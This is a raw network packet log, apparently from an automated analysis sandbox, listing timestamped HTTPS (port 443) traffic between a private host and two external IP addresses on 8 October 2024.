Oct 8, 2024 20:52:13.129187107 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.129240036 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.129275084 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.129327059 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.129369020 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.129421949 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.129858017 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.129949093 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.129961014 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.130013943 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.167566061 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.167659998 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.219696999 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.219782114 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.219799995 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.219847918 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.219857931 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.219872952 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.219899893 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.219904900 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.220048904 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.220053911 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.220105886 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.220210075 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.220266104 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.220272064 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.220314026 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.220343113 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.220393896 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.220714092 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.220763922 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.220881939 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.220927000 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.221429110 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.221445084 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.221493006 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.221498966 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.221616983 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.221637964 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.221643925 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.221678972 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.221705914 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.222573996 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.222589016 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.222640038 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.222647905 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.223351002 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.223412037 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.223417044 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.223433018 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.223472118 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.223607063 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.223710060 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.223716021 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.270579100 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.312913895 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.312938929 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.313018084 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.313035011 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.313077927 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.313265085 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.313324928 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.313329935 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.313394070 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.313512087 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.313527107 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.313575029 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.313580990 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.313592911 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.313621044 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.313783884 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.313848019 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.313852072 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.313921928 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.314125061 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.314141989 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.314198017 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.314202070 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.314240932 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.318073034 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.318089962 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.318150997 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.318156004 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.318192005 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.318259954 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.318279028 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.318339109 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.318342924 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.318384886 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.318471909 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.318487883 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.318542004 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.318542004 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.318547964 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.318584919 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.345345020 CEST	443	49776	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.346545935 CEST	49776	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.346574068 CEST	443	49776	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.347028017 CEST	49776	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.347033978 CEST	443	49776	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.404903889 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.404930115 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.404999971 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.405024052 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.405036926 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.405070066 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.405213118 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.405229092 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.405282974 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.405291080 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.405313969 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.405340910 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.405574083 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.405587912 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.405652046 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.405657053 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.405739069 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.406111002 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.406126976 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.406235933 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.406240940 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.406306982 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.406316042 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.406336069 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.406383991 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.406388998 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.406413078 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.406430960 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.406814098 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.406830072 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.406884909 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.406888962 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.406932116 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.407129049 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.407147884 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.407202959 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.407210112 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.407248974 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.407321930 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.407336950 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.407368898 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.407372952 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.407397985 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.407423019 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.433146954 CEST	443	49779	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.433176041 CEST	443	49778	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.433706045 CEST	443	49777	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.433728933 CEST	49779	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.433746099 CEST	443	49779	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.433751106 CEST	49778	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.433769941 CEST	443	49778	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.434197903 CEST	49778	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.434206009 CEST	443	49778	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.434376001 CEST	49779	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.434381008 CEST	443	49779	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.434534073 CEST	49777	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.434545994 CEST	443	49777	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.434914112 CEST	49777	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.434921026 CEST	443	49777	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.453439951 CEST	443	49776	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.453537941 CEST	443	49776	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.453583956 CEST	49776	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.454005957 CEST	49776	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.454016924 CEST	443	49776	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.454029083 CEST	49776	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.454034090 CEST	443	49776	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.457751036 CEST	49781	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.457813978 CEST	443	49781	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.457875967 CEST	49781	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.458599091 CEST	49781	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.458617926 CEST	443	49781	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.479100943 CEST	443	49780	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.497383118 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.497406960 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.497490883 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.497510910 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.497524023 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.497553110 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.498147011 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.498162985 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.498229980 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.498235941 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.498277903 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.498683929 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.498719931 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.498752117 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.498758078 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.498795033 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.498806953 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.499074936 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.499089956 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.499152899 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.499157906 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.499200106 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.499255896 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.499289036 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.499324083 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.499330044 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.499366045 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.499397993 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.499520063 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.499536037 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.499589920 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.499594927 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.499639034 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.499726057 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.499742031 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.499799013 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.499804974 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.499846935 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.499996901 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.500029087 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.500061989 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.500066996 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.500099897 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.500117064 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.503984928 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.508184910 CEST	49780	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.508240938 CEST	443	49780	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.508830070 CEST	49780	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.508847952 CEST	443	49780	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.532552958 CEST	443	49778	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.532608986 CEST	443	49778	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.532656908 CEST	49778	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.532839060 CEST	49778	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.532857895 CEST	443	49778	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.532871962 CEST	49778	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.532879114 CEST	443	49778	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.533442020 CEST	443	49779	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.533525944 CEST	443	49779	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.533581018 CEST	49779	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.533714056 CEST	49779	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.533714056 CEST	49779	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.533761024 CEST	443	49779	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.533787966 CEST	443	49779	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.533839941 CEST	443	49777	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.533906937 CEST	443	49777	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.533957005 CEST	49777	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.534010887 CEST	49777	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.534015894 CEST	443	49777	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.534025908 CEST	49777	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.534029007 CEST	443	49777	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.538028955 CEST	49782	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.538081884 CEST	443	49782	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.538153887 CEST	49782	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.539587021 CEST	49783	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.539623022 CEST	443	49783	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.539702892 CEST	49783	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.539805889 CEST	49782	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.539824009 CEST	443	49782	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.540234089 CEST	49783	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.540247917 CEST	443	49783	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.540743113 CEST	49784	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.540772915 CEST	443	49784	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.540815115 CEST	49784	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.541069984 CEST	49784	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.541086912 CEST	443	49784	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.590312004 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.590337992 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.590394020 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.590415955 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.590451956 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.590482950 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.591043949 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.591065884 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.591119051 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.591126919 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.591166019 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.591322899 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.591340065 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.591392994 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.591399908 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.591435909 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.591619968 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.591638088 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.591676950 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.591682911 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.591711044 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.591762066 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.591871977 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.591896057 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.591938019 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.591943026 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.591979980 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.591995001 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.592178106 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.592199087 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.592253923 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.592261076 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.592304945 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.592396021 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.592411995 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.592472076 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.592478037 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.592525959 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.592618942 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.592634916 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.592694044 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.592699051 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.592741966 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.611768961 CEST	443	49780	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.611851931 CEST	443	49780	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.611907005 CEST	49780	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.612034082 CEST	49780	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.612052917 CEST	443	49780	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.612065077 CEST	49780	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.612070084 CEST	443	49780	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.615683079 CEST	49785	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.615712881 CEST	443	49785	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.615771055 CEST	49785	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.616494894 CEST	49785	443	192.168.2.9	13.107.246.45
Oct 8, 2024 20:52:13.616508007 CEST	443	49785	13.107.246.45	192.168.2.9
Oct 8, 2024 20:52:13.682929039 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.682955980 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.683038950 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.683058023 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.683100939 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.683423042 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.683440924 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.683489084 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.683495998 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.683525085 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.683541059 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.683716059 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.683732986 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.683799982 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.683808088 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.683849096 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.684326887 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.684344053 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.684402943 CEST	49775	443	192.168.2.9	188.114.96.3
Oct 8, 2024 20:52:13.684408903 CEST	443	49775	188.114.96.3	192.168.2.9
Oct 8, 2024 20:52:13.684452057 CEST	49775	443	192.168.2.9	188.114.96.3
